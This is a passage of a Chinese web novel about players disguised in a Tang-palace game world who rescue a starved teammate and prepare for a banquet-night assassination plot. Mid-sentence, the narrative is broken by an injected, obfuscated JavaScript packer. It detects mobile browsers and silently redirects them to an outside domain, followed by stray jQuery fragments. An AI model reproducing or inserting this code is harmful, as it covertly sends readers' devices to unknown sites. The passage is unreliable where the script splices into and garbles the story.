眼看着NPC们的对话逐渐失去价值,亓秀秀微微弯腰,悄无声息地从爬满了花藤的矮墙后走了过去,小心翼翼地通过了月门。她脚步轻盈,没有一点声音,两个宫人兀自聊得火热,完全没发现有人正从他们背后路过。 先前乐师台的排演暂告一段落,师姐妹们都去乘凉休息、喝茶吃点心了,亓秀秀却趁这个机会悄悄溜了出来。她停下脚步仰头看去,过了这道月门,内里还有大大小小十数间屋舍楼阁,模样别无二致,简直像迷宫一般,根本分辨不出哪一个阁楼才是宫人们聊天中提到的那间。 四下僻静无人,她放慢步伐,一边往里走,一边观察着每一幢小楼。 疾夜的智商是毋庸置疑的——甚至有时候看起来比方叱羽还要聪明,能让它停下来送出纸条的,肯定是玩家。 不过一只能够用来通信的海雕,莫名其妙地出现在骊山的帝王行宫里,这放在古代,可是要和“谋反”“谋叛”扯上关系的,搞不好还会牵连到这个剧情背景下的各大门派,所以疾夜绝对不能被发现,那个玩家之所以只是草草地写了个救,估计就是因为疾夜差点被宫人看到,没时间写下更多,便直接让它飞走了。 但是那个玩家为什么要喊救呢? 难道宫人们聊天中提到的被教习害死的人们,真的都变成了鬼?而这个玩家,恰好就这么倒霉,偏偏遇上了鬼? 不过第五天的游戏规则中,明确地说明了华清宫中只有一个鬼,只要把它的身份识破,就算完成了任务,游戏通关。如果求救的玩家真的遭遇了鬼,便也相当于鬼暴露在了玩家面前,可以直接结束游戏。既然现在游戏还在继续,那只有两种可能,第一,玩家遭遇的危险与鬼无关;第二,鬼可以在不暴露的身份下使用一些手段来危害玩家。 亓秀秀越想,眉头皱得越紧。 第五天的规则,对玩家来说似乎不是很公平,毕竟一个真正的“鬼”,大概率是不受角色崩坏这条规则限制的,比他们这些束手束脚怕暴露的玩家要自由很多。 她还在想着,忽然感觉鼻腔一热,低头一看,竟然有两三滴血落在了手背上。 与此同时,有人在她身后问:“这位姑娘,你来这里做什么?” 亓秀秀捂住鼻子回过头,发现站在她身后的只是一个梨园中最常见不过的看守宫女。她看起来也并没有恶意,只是单纯地有点疑惑,但在那种疑惑的目光中,亓秀秀的头开始疼起来,血也像止不住似的顺着指缝往外流。 那宫女看见她满手是血,也吓了一跳:“没事吧?快去前面包扎一下。” “没事。”亓秀秀头疼欲裂,艰难地回答道,“我今天刚来,看这里风景好就想四处走走,不知不觉就迷路到这里了。” “这样啊。你是跟着英代教习进宫的七秀弟子吧。”那宫女倒也单纯,立刻相信了亓秀秀的说辞,还上手来扶她,“来,我先扶你去前院。” “麻烦了。”亓秀秀道,这时候,她已经感觉身体像被冻僵一样没什么力气了,几乎要瘫倒在地,神智也有些恍惚,完全是被宫女拖着向前走去。 她模模糊糊地想,看来这就是游戏对于“违反角色设定”的惩罚了,她扮演的角色不应该出现在这里,但“迷路”的说法足以让NPC相信,所以她没有立刻被抹杀,只是受到了类似于警告的惩罚。 果然,等那宫女把亓秀秀搀扶到乐师台附近的一处小亭,流个不停的鼻血渐渐地就自己止住了,只是坐了一会儿,身体便也渐渐回暖。 “许是初来骊山,水土不服。”宫女拿来湿帕子给她,关切道,“你可以去找宫里的医博士拿个清热去火的方子,看这样子,多吓人哪。” 亓秀秀苦笑着接过帕子道了谢,其实如果不是那宫女路过看到她,她也不会陷入到违反设定的危险当中,说到底,还是防不胜防。 不过是在这小亭坐了一小会儿,那边乐师台休息时间结束,师姐妹们又在寻她了。因为这一打岔,那求救的玩家在哪里,到底是没能找到。 她用冷敷过的帕子擦了擦脸上和手上的血迹,想着,下次再潜入时,一定要更隐秘一些。 ——夜间出行,是最不容易被发现的,但一旦被NPC看到,也就没法用“迷路”这样的理由糊弄过去了,这个第五天看似平静,实际上也处处都是危机,而且玩家们开局抽到的身份,本身就是一种莫大的限制。 不过,疾夜大概还会把那纸条带去给其他玩家,如果有可以自由走动、或者身份更适合的玩家能看到,现在估计也在想办法调查了吧。 呼啦啦…… 龙葵正靠在墙边犯困,隐约中听到了有什么东西扇动窗纸的声音。 这声音非常熟悉,这几天听过不少次了,意识到这一点,龙葵瞬间清醒。 她小心地用叉竿支起窗子,果然,没一会儿,就从那小小的缝隙里钻进来一只鹦鹉。 这只鹦鹉就是谢不若的鹦鹉,大概也是这第五天过得最舒服的一位。鹦鹉个头小不起眼,被发现了也可以蒙混成天子养在宫中解闷的鸟儿,可以说它才是最自由的那个,想去哪去哪,不过要说它最爱的,还是龙葵手下这个尚食局。 因为总来蹭饭,这小家伙已经肥了一圈,跟个炸毛的毛绒球一样,这会儿是先把屁股从窗缝里塞进来,然后再努力地往里挤。 龙葵还当它又是来蹭小灶,轻车熟路地就要先捏住它的喙防止它出声,结果被压扁了一圈儿的鹦鹉一转身,嘴里竟然还叼着东西。 看到那东西,龙葵心里就是一惊,好在这会儿没活,后厨里的其他人都在休息,也没注意到这边。 她张开手,鹦鹉便把嘴里叼着的东西放在她手心,那是一根非常大的黑色翎羽,和一卷小纸条。 知道这也许是重要情报,龙葵直接展开纸条,看了一眼,却陷入了深深的沉默。 大概是怕被NPC或者人机截获,这张纸条上面写的竟然是乱七八糟的英文和拼音…… 她焦头烂额地看了半天,才看明白个大概。这封信大致是说,鹦鹉和某一队的蓬莱的海雕接上了头,海雕体型太大容易被发现,已经去宫墙外找了个地方待命了,接下来传递消息的任务,就由鹦鹉接手。另外,梨园有人求救,是谁不知道,毕竟鹦鹉和雕的鸟语不通。 落款:your bro。 不知道是谁在这纸条后面写了一串1,看起来还不是同一个人写的,有人表示自己进不去宫城,有人说等到半夜可以摸进去梨园看看,再后面甚至还有仇非笔迹的批注:再探再报。 龙葵看完这纸条,把鹦鹉又从窗缝里塞出去,转身跟其他人打了个招呼,只说出去透透气,便迅速来到后院。 鹦鹉在窗边等她,看到她来了,就飞过来落在她肩膀上。 “你去梨园看过了么?”龙葵问它,“直接来找我,是有用得上我的地方,对吧。” 鹦鹉点点头,叫道:“送饭,送饭!饿,饿!” “……饿?”龙葵差点以为自己没听清,“什么意思,难不成那个求救的玩家是要被饿死了?” 真的要饿死了。 尹有攸双眼无神地躺在地上,嘴里还噙着两片花瓣。 他被传送进第五天的时候,就是在这样一个狭小闷热的黑屋子里,伸手不见五指,到处都是霉味儿,窗户被木楔钉死,门上一把大锁。虽然这具身体还是他自己的身体,但是从感觉上来说,似乎他已经被关了很久,起码得有个三四天,无论是体力和精神,都被消耗得差不多了。 其实如果真想逃出去的话,区区一把锁,一个亢龙有悔也不是拍不开,但问题就出在那个不能崩坏角色设定的规则上。 ——他不知道自己是什么身份。 最恐怖的是,他身上穿的,似乎是裙子。 虽然不应该,但是在发现这个事实的时候,尹有攸的脑海里还是一瞬间闪过了“要不然就这样饿死算了”的想法,不过最后求生欲还是战胜了羞耻心。好在华清宫是座温泉宫邸,内里四季如春,即使是冬季也依旧有桃花盛开,他靠吃开到窗边的桃花来补充水分,勉强还能活。 那一线缝隙里,能看到的景色不多,几乎被繁密的树叶树枝遮得差不多了,不过尹有攸耳力好,隐约能听到极其遥远的地方还是有人交谈的。只是因为离得太远了,他们在说些什么,一概都听不清,但那些人的身份,似乎是看守。 大脑艰涩地运转着,结合种种迹象,尹有攸最后得出一个结论。 我一定是被打入冷宫的嫔妃吧。 唐朝是这样的吗?原来被打入冷宫的妃子要被活活饿死的。 不过,如果他被分配的角色真的是嫔妃的话,那还是待在小黑屋里比较安全,应该没有哪个皇帝能够接受自己的妃子……纹着大花臂……吧。 说起来,第五天这个角色随机分配的机制,好像并不是单纯地给他们安排一个身份,而是直接让他们替换掉本身就存在的NPC。拿尹有攸自己来举例子,在浪客行里度过了四天,他的身体素质早就已经到达了一个非常强悍的地步,单纯几天不吃饭,并不会虚弱到这种程度。 显然,在他来之前,这里还有一个人,在这个小黑屋里被锁了很久很久,或许已经在活活饿死的边缘了,而尹有攸进入了第五天,就相当于接过了这个“角色”的命运,代替这个人,活在了这段剧情之中。 想到这里,他就没有精力再继续往下想了,眼前一阵阵发黑,只能慢慢抬起手,又放了几朵桃花在嘴里。 桃子味的食物都很好吃,但桃花瓣咀嚼起来,汁水是非常苦涩的。很遥远的地方,似乎隐约传来了琴声和姑娘们的欢笑声,那些细小的声音伴随着鸟儿的振翅声一起,从狭窄的窗缝里涌入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691180|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹有攸的耳中。 漏进这间伸手不见五指的黑屋子中的唯一一线光亮,忽然被一个小小的阴影挡住了。 谢不若的鹦鹉抖抖翅膀,从那个缝隙里挤进来,把抓着的小布包扔在了尹有攸手边,顿时,一股浓烈的香味就从那个布包里涌了出来。 “吃!吃!”鹦鹉叫道,然而借着那一线阳光再打眼一瞧,地上的布包已经空了。 “还有吗?” 那个进食速度堪称恐怖的人类坐起来,问。 “……” 鹦鹉的小脑袋瓜转了转,觉得这个人一时半会应该是死不了的,拍拍翅膀,又原路飞走了。 尹有攸吞了个东北大饭包,连味道都没尝出来,眼巴巴地凑到窗前,看着鹦鹉消失在茂密的枝叶之中。 这小鹦鹉是那个刀宗的跟宠,先前跟着方叱羽的海雕来过一趟,可以说,在这样的深宫里,它们的确是传达信息的最好帮手了。他暗自下定决心,等第五天出去了,一定要吸取教训,立刻去赵云睿那里把白凤换出来。 “秀秀姐,这样能管用吗?” 曲小蕨混迹在一群宫女和七秀弟子之中,小声问。 “嗯,绝对管用。”亓秀秀道,看着在天空中晃晃悠悠的一只绢布风筝,“只要能找到合理借口说服NPC,我们就可以去梨园深处寻找那间禁闭的屋子。” 捡个风筝而已,肯定是不算人设崩坏的。 今日的排演已经结束,据说协律郎正召集乐师谱奏《霓裳羽衣曲》,而舞者们没了事做,便各自散开了,亓秀秀就是利用这个机会,和曲小蕨也接上了头。 梨园深处有人在求救的事情,很多玩家都已经知道,方才,永宁公主的庄子便送来一批绢布,说是公主邑司令代永宁公主赠给这些七秀内坊弟子的,姑娘们若是得了闲,可以拿这绢布扎风筝玩。 亓秀秀站在师姐妹之中,远远地看了公主邑司令一眼,那不是叶九溪还能是谁? 接下来的事情就很简单了,她拿绢布扎了风筝,撺掇师姐妹们一起放着玩。梨园里本来就花深树重,低空放飞很容易被桃花枝卡住,风筝不知不觉间就越放越高,等到几人都快看不清那风筝的时候,在树影里埋伏已久的疾夜就以锋利钩爪割断风筝线,抓住线的末梢,借桃花树遮掩身形,迈开步子就往外窜。 “哎呀不好了,风筝线断了,风筝飞走啦!”曲小蕨声情并茂地出来当托,“那可是永宁公主的一片心意呀,我去把它捡回来吧!” “我也去捡。”亓秀秀也道。 “嗯?你们对这地方都不熟,别迷路了。”英怀珠闻言,便道,正当亓秀秀和曲小蕨以为这法子要不奏效时,却见她又随手指了个看守宫人,“你们去找找就行了。” 亓秀秀当即作愧疚状:“师姐,风筝线是我弄断的,我也去吧。” “找个风筝,哪里要三个人兴师动众的。”英怀珠淡淡一笑,“你就是想偷懒吧?快去快回。” “谢谢师姐!”亓秀秀一喜,便和曲小蕨跟在那看守宫人的身后,朝梨园深处去了。 风筝,当然是找不回来的,疾夜估计已经带着它窜到华清宫之外了,但是这里楼阁众多,实在是很难分辨哪一栋才是关人的小楼,两个人假模假样地一商量,便说要分头寻找,等看守宫人走远了,曲小蕨就长长地吹了个口哨。 谢不若的鹦鹉应声从天而降,落在了她的肩膀上,挥动翅膀,给二人指出一个方向。 亓秀秀笑道:“门派跟宠真的好用啊,简直是外挂一样的存在了。” “不是外挂!”鹦鹉对自己的身份非常看重,“送饭!送饭!” “……” 饿了么的鹦鹉送外卖,非常合理。 她们一边跟随着鹦鹉指的方向前进,一边小声交谈着。 “这第五天,真的很奇怪。”亓秀秀道,“要说有什么实质性的危险,目前倒还也没见,就是搞这些影响不大但又不好处理的事情。角色人设崩坏算是一个死亡机制了,但只要能糊弄过NPC,也不会被抹杀。第五天的难度到底在哪里呢?” “对哦,感觉好像还没有真的开始游戏一样。”曲小蕨赞同道,“大多数NPC也很友善很好说话,有时候还会主动帮我们打圆场。” 亓秀秀想了想,道:“难道,真正的难度在于剧情?我们一直无法找到真正的鬼,就要一遍一遍经历相同的剧情,被困在第五天,永远也出不去?” “其实,之前我和洛川哥还有小卫——哦,就是好莱坞队的气纯卫山河,我们三个讨论过。”曲小蕨说,“像咱们这些在宫里的,拿的可能是宫斗剧本,但在朝堂的其他人拿的就是权谋剧本,真正的难度可能在他们那里,咱们充其量就是个辅助的角色。” “这样说来,没有及时有效的信息沟通,也是难度之一。”亓秀秀微微颔首,“虽然有雕兄和鹦鹉,但雕兄行动起来很容易被看到,鹦鹉又太小、飞得慢,很难迅速通知到每一个人。像朝堂和后宫信息和情报的不对等,也有可能导致我们陷入到危险之中。” 他们这次纯粹是运气好,雕兄撞见了玩家,鹦鹉又遇上了雕兄,有了只会说话的鸟儿,大家才大致知道了那个玩家遭遇的究竟是什么危险;而雕兄在缭墙外的藏身之处,恰好就是永宁公主的庄园,环环相扣,这才把玩家的求救信息迅速地带给了大多数人。 听到她这么说,鹦鹉不满地扇了扇翅膀,挺起胸脯,证明自己很有用。亓秀秀笑着给它梳了梳毛,还在思索。 所谓的危险,究竟是什么呢?“鬼”是真正的鬼,还是一个代号? “秀秀姐,别想了。”曲小蕨看她眉头紧皱,便劝道,“这些动脑子的事,要不就交给小付老师他们吧。” “……不能因为你们队里有个外置大脑,就放弃思考啊。”亓秀秀失笑,提到谜语人,她便问曲小蕨,“对了,你们是不是还没见到尹有攸呢。” 曲小蕨点头:“对呀。不只是他,饿了么的谢不若,好莱坞的衍天宗祝灵正,他们仨都还没露面过。” “说不定,被关在梨园求救的玩家,就是他们三个人中的一个呢。”亓秀秀随口道,“当然,也有可能是第五支队伍的人。” 话音刚落,跟随着鹦鹉的指引,她们已经站在了那间关禁闭的小楼之前。这栋小楼的确非常难找,甚至连门都已经被丛生的杂草遮掩一半了,也没有宫人值守。 就是这里了。 亓秀秀轻声叫道:“有人吗?有人吗?” 片刻后,从头顶的阁楼上,传来微弱的敲击窗框的声音。两个人抬头看去,就看见一只苍白的手伸出来,在有气无力地叩着窗框。 “我天,真倒霉,这是被关多久了啊。”曲小蕨咋舌道,“不知道谁的队友这么惨。” “嗯,就按照原计划,我救人,你喊人。”亓秀秀道。 这玩家显然是抽到了被之前那个恶毒教习关禁闭的倒霉戏份,曲小蕨点点头,便往外跑去,一边跑一边喊:“不好啦!还有人被关在小黑屋里!快救人呀!” ——想把这倒霉蛋从小黑屋里救出来,也颇费工夫,起码故事逻辑得合理。曲小蕨对一路上见到的每一个人绘声绘色地描述了一个去捡风筝却听到微弱求救声的故事,不一会儿,便纠集起一大堆人,往小楼赶去了。 梨园苦前教习久矣,听说楼里还锁着人,两个看守宫人脸都吓白了。 “天啊……她走之前竟然没说一声,要不是这次有人发现,那岂不是又要活活饿死一个人了?” “是啊是啊!”曲小蕨跑在最前面,不忘添油加醋,“真是太过分了!” 等他们赶到现场,就看见亓秀秀已经打开楼门,将里面的那个倒霉玩家救了出来。 慌乱的人群一拥而上,将玩家挤在中间,曲小蕨只能看到个背影。 看到那玩家的第一眼,她心头缓缓浮现起两个字:卧槽! 原来真的有抽中女装角色的倒霉男玩家啊! 怎么说呢?这倒霉蛋,看起来非常虚弱的样子,可能是被锁久了,连肤色都变得苍白起来,人也有点不正常的瘦削,但就算是这样,也能看出来,他的身材是很高挑结实的,现在穿着一袭淡色罗裙,就显得非常怪异。 难怪第五天的规则里,特别说明了NPC会适当眼瞎,大概就是为这种情况准备的——总不能一进图就把人淘汰了吧。 眼看着人已经救出来,也有宫人急匆匆去请医博士了,应该是没什么问题了,曲小蕨放下心来,开始盯着那个人看。 不知道为什么,她觉得这个背影有一点点熟悉。 半跪在那玩家身边的亓秀秀抬头看曲小蕨,神情复杂,欲言又止。曲小蕨低头一看,亓秀秀还在给那个人把脉,层层花瓣一样的袖口里伸出的那条手臂非常修长,看起来违和感倒不是很强——如果上面没有那气势如虹的祥云纹身的话。 看到那纹身,曲小蕨两眼一黑,感觉自己好像被雷劈了。 之前还说不知道谁的队友这么惨……这特么不就是我的队友吗! 33. 第五天·华清宫(三十三) “集中注意,别走神。” 乐师台上,大部分琴师的目光都被另一边乱成一团、进进出出的宫人们吸引过去了,见状,新来的协律郎轻轻敲了敲琴台,出声提醒。 其实,不用特别注意,也能听见那些宫人七嘴八舌谈论的声音,说是王教习下山之前锁了个舞伎在阁楼里,已经快一旬了,人差点饿死。 闻言,师襄的眼里闪过一丝讶异,手下差点弹错了一个音。 这一瞬间的不和谐也被协律郎捕捉到了,他顿了顿,倒是没有指出来,只是神色如常地继续听了下去。 付井仪……他好像确实懂一些音律的样子,虽然远远算不上精通,但是协律郎这个职位并不需要他亲自动手演奏,糊弄一下这些无官无职的琴师们,倒是够了。 师襄刚要继续抚琴,余光就看到那边又来了一队金吾卫并几个医博士,一群人围住一个身形很是高挑的舞伎往外走。那舞伎显然就是被关了十多天的那个倒霉人,听说是身形体量不符合原来那教习的眼光,故意磋磨她一下的,现在看来倒也没错,这样的体型,确实和大多数身形纤细柔美的舞伎不太相符。 与师襄不同,付井仪坐在主位,能清楚地看到另一边发生的事情,自然也能发现,那格外高挑的舞伎,似乎更像男性玩家一些。 最开始,他看到的倒不是被围在人群中间的舞伎,而是自己家那憋笑憋得在人设崩塌的危险边缘反复横跳的熊孩子,曲小蕨混在一群人中,脸都快扭曲了,还装出一副若无其事的样子跟着关切地奔走。 除了她之外,名字很不好记的那队的亓秀秀也在其中,她是比曲小蕨稳重一点的,但也是一脸非常难以言喻的表情。 付井仪心里有数,她们既然是这个反应,那么被救出来的人大概率就是相熟的玩家了。他端起手边的茶杯送到嘴边作掩饰,朝那舞伎投去一瞥。 意料之中,那穿着一袭水粉色长裙的玩家确实是个男性,但出乎意料的是,那竟然是有些陌生的一张脸。 ——不过,好像也不是完全陌生,感觉有些莫名其妙的眼熟。 付井仪皱了皱眉,待人群走近一些再看,握着茶杯的手便是微微一抖,向来波澜不惊的表情破天荒地出现了一丝裂痕。 ……难怪曲小蕨会是那样一副表情。 不过他终究是性格冷静,在最初震惊过后,心情很快便平复下来,开始思索。 这么说来,只有那叫祝灵正的衍天宗和谢不若还没有在人前出现过了。谢不若大约是在内廷较高的一个位置上,平素可能是不方便露面,但祝灵正却是丝毫不见消息。 听陆厌说,祝灵正此人,大概是有轻微的沟通障碍,非常不善言辞,与人交流时常常词不达意,放他一个人在华清宫中实在是非常危险。 但他们后来又找了几遍,车队中的的确确没有祝灵正的身影,利用海雕传信的小纸条上,也没见有后宫的玩家看到过祝灵正。 他到底在哪里呢? 不过,既然规则特地提到了如果没有在剧情结束之前找到鬼、就要重新分配身份再走一遍剧情,这就说明,第五天很有可能是长时间的持久战,倒也不需要太过着急。 毕竟,第一遍剧情没找到鬼并不会直接被视为任务失败、直接抹杀掉玩家,也就是说,即使从游戏制定规则的角度来看,它都不认为玩家们能够在第一次剧情中就找到“鬼”,即使这第五天,是规模惊人的四队共战。 付井仪沉思着,又默默地朝尹有攸那个方向投去视线。 好怪,再看一眼。 华清宫虽然只是帝王行宫,但随唐玄宗冬季游幸的时间逐年延长,几乎已经成为了另一个政治中心,不仅前朝各级机构森然有序,内廷也是如此,在应对突发事件上很是熟练。 很快,六尚局的女官得到消息,迅速赶赴梨园接手此案,该抚慰的抚慰、该领罚的领罚,而包括曲小蕨与亓秀秀在内的“闲杂人等”,也都被赶回各自的位置去了,不出一个时辰,“被锁舞伎”的风波,就已经悄无声息地消失了。 当然,所谓的消失只是对于NPC来说的,在消息流通不畅的玩家群体内部,这件事情才刚刚传开,各队人究竟是如何反应暂且不表,但大家心里都产生了一个共同的想法。 ——游戏给玩家造成的各类伤害应该再补充一条:社会性死亡。 至于社会性死亡的玩家本人,在经过太医署的诊治后,得到了一个“并无大碍”的结论。实际上,以尹有攸的身体素质,只是吃了顿饱饭体力就在渐渐地恢复了,一时间整个太医署啧啧称奇,只觉得难怪这位舞伎会因为身板体格而被原来那教习苛待的,确实是有点道理。 不过,既然身体上没什么大碍,他便被遣送回梨园了。现任代教习英怀珠亲自去接的人,并且对这位舞伎的身体素质大加赞扬,说是以“她”的体格,一定能完成很多体能一般的舞伎所做不到的动作,前教习真是愚钝不堪。 旁观的亓秀秀心说,原来规则上所说的NPC眼瞎,是瞎在这里了…… 这会儿工夫,付井仪和师襄那边的排演差不多也结束了,乐师们收拾器具让出位置,英怀珠走上乐师台,拍了拍手,将所有人的注意力集中过去。 这位公孙二娘的弟子朗声道:“方才,六尚局的女官来过一趟,说是梨园宴就定在后日傍晚,朝臣边将、百官嫔妃皆当列席,诸位可都要仔细起来,打起精神,莫在天家面前失了梨园的名头!” 在场的也有不少玩家了,听见英怀珠这么说,心里纷纷都是一凛。 目前看来,这所谓的梨园宴,就是第五天规则里提到的“剧情”了,如果大家猜测不错的话,这剧情,会和90年代的大战副本华清宫回//忆//录极为相似。 简单来说,那个大战副本的剧情就是唐玄宗召安禄山快马入宫,以测试其是否有反叛之心,而安禄山不仅应召前来,还带来了范阳、平卢、河东三地特产上贡,令玄宗与贵妃倍感欢悦,设宴华清。与此同时,察觉安禄山确有叛变之举的颜真卿与唐老太太也在暗中号召天下有志报国之士,暗探华清宫,准备于梨园宴后刺杀安禄山,并为此赋名“刺虎”行动。 ——当然,在副本剧情中,这次刺杀并未成功,而安禄山后来也果然起兵反唐,随后便有了漫长的安史之乱。 从玩家们进图到现在,除了亓秀秀暗探梨园被宫人撞见之外,还真没遇到什么能够媲美前四天的危险,她也在取信于NPC后再度安全,这充其量只能算一点小风波。至于尹有攸,也不过是倒霉了一些,吃顿饱饭就能恢复,和前四天比起来,根本算不上什么危机。 越是风平浪静,便越可能暗含风暴,这个道理大家都是懂的,看来那所谓的难度,差不多就要在这场梨园宴上出现了。 “有一个问题……” 讲武殿中的一间偏房中,仇非、柳七刀、裴洛川、唐逐星和殷炽五人正在坐在一起。 今日殷炽被换到中区内城城门,当值时可以回到讲武殿,住在这里的几人好不容易有了共同空闲,当即设法避开了NPC,凑到了一块。 裴洛川是文臣,住在弘文馆,这次是来统计清点名单的,而仇非是边将,不可与朝臣过多接触,这两个人都不能在这里停留太长时间,裴洛川开门见山,低声开口道: “我们有些人的职业,似乎是不能出现在梨园宴上的。” 他从怀中取出一张纸来,摊开放在桌面上,众人一看,那竟然是张手绘的简易华清宫地图,其中有不少建筑旁边,写着密密麻麻的小字。 (缭墙内东区)梨园:师襄,亓秀秀,尹有攸。 (缭墙内中区)六尚局:龙葵,祁云纵,曲小蕨,卫山河。 (缭墙内西区)功德院:行守。 (缭墙外、宫城内)弘文馆:李千驰,裴洛川,方叱羽,付井仪,陆厌。 (宫城外)讲武殿:仇非,柳七刀,唐逐星,殷炽。 (宫城外)永宁公主庄:叶九溪。 尚无情报:谢不若,祝灵正。 “厉害啊!”柳七刀感慨道,“你这直接是把大家住在哪儿都记清楚了。” “快记,看完我会把这张纸烧掉。”裴洛川道,“写得太详细,万一被别人看去就糟了。” 等众人都传阅完一遍后,裴洛川才继续说下去:“虽然梨园宴名义上是文武百官都会出席,但想想也知道不可能随便谁都能进,而且这场宴会的主角还是安禄山,实际上就相当于一场帝王家宴。比如说,现在可以确定的,就是这场宴会上不会有仇非。” “猜到了。”仇非冷冷道,“游戏剧情里安禄山勾结奚人移祸苍云,其中深仇大恨朝廷一直视而不见,为防止矛盾激化,苍云边将必不可能出现在梨园宴上。” “我也不在。”殷炽道,“那时候,我应该在中区内城城门值守。” “就是这样。”裴洛川点点头道,“我最近忙的就是这件事,确定哪些外朝官员会赴宴,而哪些不会。” “那我……半在半不在?”柳七刀挠挠头,“我是那种负责迂回式巡逻的。” 唐逐星则说:“千牛卫御前护驾,我倒是一定会出现在梨园宴上。” “其他人倒也有迹可循。”仇非略一思索,便道,“我们队的龙葵和祁云纵负责的是内侍幕后工作,不能赴宴;谢不若既然号称自己是大官,那出现的可能性倒是很大。” “是这样。”裴洛川也道,“翰林学士李千驰和起居郎方叱羽,必然是会赴宴的,亓秀秀是七秀弟子,自不用说。叶九溪的话,就看他和永宁公主关系如何了,如果公主信任他,那带他赴宴,也不是不可能。” “那我们队的付井仪和尹有攸也一定会在,至于行守,还真说不准。曲小蕨那个小宫女嘛……”唐逐星笑了笑,“这身份,想要找机会进去,倒也不算太难。” 殷炽言简意赅:“卫山河和我不在,师襄和陆厌一定会在。” 唐逐星问:“你们队的祝灵正还是联系不上么?” 殷炽摇了摇头。 “奇怪了,怎么会出现这种情况呢。”裴洛川皱起眉头,又道,“对了,你们有没有发现,还有一个很诡异的情况……” “我们目前,似乎还没遇到过任何一个人机玩家。” 人机玩家……究竟在哪里呢? 虽然华清宫依温泉而建,内里四季如春、桃花盛开,但出了宫墙,大半骊山依旧被笼罩在料峭的冬日之下,山风萧瑟,日光清冷。 一只黑鹰平举双翼划过天际,盘旋了几圈,向西绣岭落了下来。 西绣岭山巅之上有座道观,原来叫朝元阁,大约四五年前改建更名为降圣观,规模极其宏大,台殿肃然,形制精美,有大大小小十多间殿堂厢房,每年冬季玄宗游幸期间,都会携百官来此朝拜。 如今,骊山上下正全力筹备梨园宴以待安禄山前来,降圣观留人不多,仅在道观大门处有几个守卫看管,自然也没人发现,某间偏僻小院中悄无声息地多了几个人。 黑鹰径直朝那小院飞了过去,离得近了,才能看到,那只黑鹰竟然是一只精巧机关做成的机械鸟。一个唐门弟子打扮的年轻人伸出手臂,让那只黑鹰落了下来,随即从它的腿上取下一张小小的纸条。 随着他的动作,又有几个穿着不同门派校服的年轻人推开小门,从院里出来,围到那唐门弟子身边。 唐门扫了一眼纸条,便道:“时间定下来了,梨园宴就安排在后日傍晚,安禄山也会在那时候入宫。” 有个丐帮问:“那我们的内应怎么说?” “已经和老太太安排的人联系上了。”那唐门道,将机械鸟从手臂上取下来,也不知道他按动了什么机关,转眼之间,那只鸟就变成了一堆零散木块和齿轮,被收进了腰间的一只百宝囊中,“说是到时候要我们去找一个叫做‘王三金’的人,变装成舞伎混进华清宫中。” “好!”那丐帮立即道,“安禄山狼子野心,危覆社稷,人人得而诛之,我们的刺虎行动,定要为大唐除去这一祸患!纵有去无回,亦无怨无悔!” 话音落地,周围人群情激扬,纷纷符合,丐帮扫视一圈,目光捕捉到独自站在一旁的同伴,叹了口气,宽慰地拍了拍他的肩膀。 “大丈夫在世,能够以身许国,肝脑涂地,应当死而无憾,你也别太紧张。” “好……” 被数双眼睛盯着,祝灵正头皮发麻,胡乱答应了一声。 他被分配到的角色,竟然是负责前来刺杀安禄山的“有志之士”! 这里算上他在内,一共有五个人,恰好符合一个大战副本小队的人数,除此之外,在这降圣观中还有一位内城太监,也就是万花书圣颜真卿和唐门唐老太太安排的接头人,负责为他们放哨和引路。 一院六人,愣是没有一个眼熟的,堪称社恐地狱。 不过,祝灵正一进图,就听到那收发机械鸟的唐门弟子在介绍刺虎行动,而这个唐门也并没有做出什么试探玩家的举动,一心一意都在刺杀安禄山上,应当是个NPC了。 至于其他人…… 内城太监声音尖细、面白无须,且上了年纪,显然是个真太监,肯定是NPC。 另外三个参与刺虎行动的侠士,除了那个热血丐帮,还有两个姑娘,分别来自五毒与霸刀,看起来都挺好相处的样子,却不怎么说话,但行动倒是十分积极。 虽然他们此时聚在一起,但许是任务特殊,众人彼此都还未互通过姓名,而这些人似乎也是临时应颜真卿和唐老太太之召才奔赴骊山的,彼此之间显然都不太熟悉,祝灵正的生疏在其中并不突兀,也算是一种幸运了。 现在正讲话的丐帮年纪看着不算很大,气势却非常豪迈,说起话来一套一套的:“虽然我们是萍水相逢,但得此机会共议大计,诛杀恶贼,也算是平生之幸了!” “的确。”唐门也道,“但诸位谨记,诛贼机会难得,这次我们只能成功,不可失败。” 众人纷纷答应,但祝灵正心里知道,这次刺虎行动,在原剧情里,的确是以失败告终的。 那个副本叫做“华清宫回忆录”,是回忆中的故事,玩家们参与的,是一场还没开始就已经被注定了结局的刺杀。 刚被传送进第五天的地图时,他感觉自己手里似乎握着什么东西,赶紧将它收进了袖子里,后来找了个机会寻无人处展开一看,竟然是第五天的规则。那规则在祝灵正看完之后便自己焚烧了起来,消失殆尽,但他对其中的一条印象格外深刻。 “玩家因剧情需要而死,或被NPC杀死,不会真正死亡,而是会被重新分配身份,再度回归游戏。” 在大战副本中,来刺杀安禄山的玩家虽然失败,但也有惊无险地全身而退了,可他们此时所在的第五天终究不是完全按照副本剧情照搬过来的,这次行动,可能会成功,也可能会导致参与的侠士们全部丧命,目前来说,还都说不定;但即使刺杀成功,等华清宫的各护卫兵士赶来,侠士们也是无法抽身离去的。 可以说,敢来参加刺虎行动的人,都已经做好了坦然赴死的准备。 所谓的“剧情需要”和“被NPC杀死”,大概就应验在这里了。 祝灵正自认为是一个感情起伏很小的人,饶是如此,一想到此去实为赴死,也忍不住感觉到心跳微微加快。尽管他知道这并不是真正的死亡,但那种感觉,实在是非常奇怪,很难用言语来形容。 他是玩家,还有再次回到游戏的机会。但这段剧情对于NPC们来说,却是真真正正的历史。他们已经做好了准备,将年轻的生命寄托在手中的武器之上,即使以逆贼之名消失在深宫之中,也不曾后悔。 那个唐门也走到他身边,什么都没说,只是向山下俯瞰一眼。 脚下是奢靡华丽的宫城,远方是在云雾中隐约可见的巍峨长安,更远处,则是连绵河山,是千万人生活着的平凡人间。 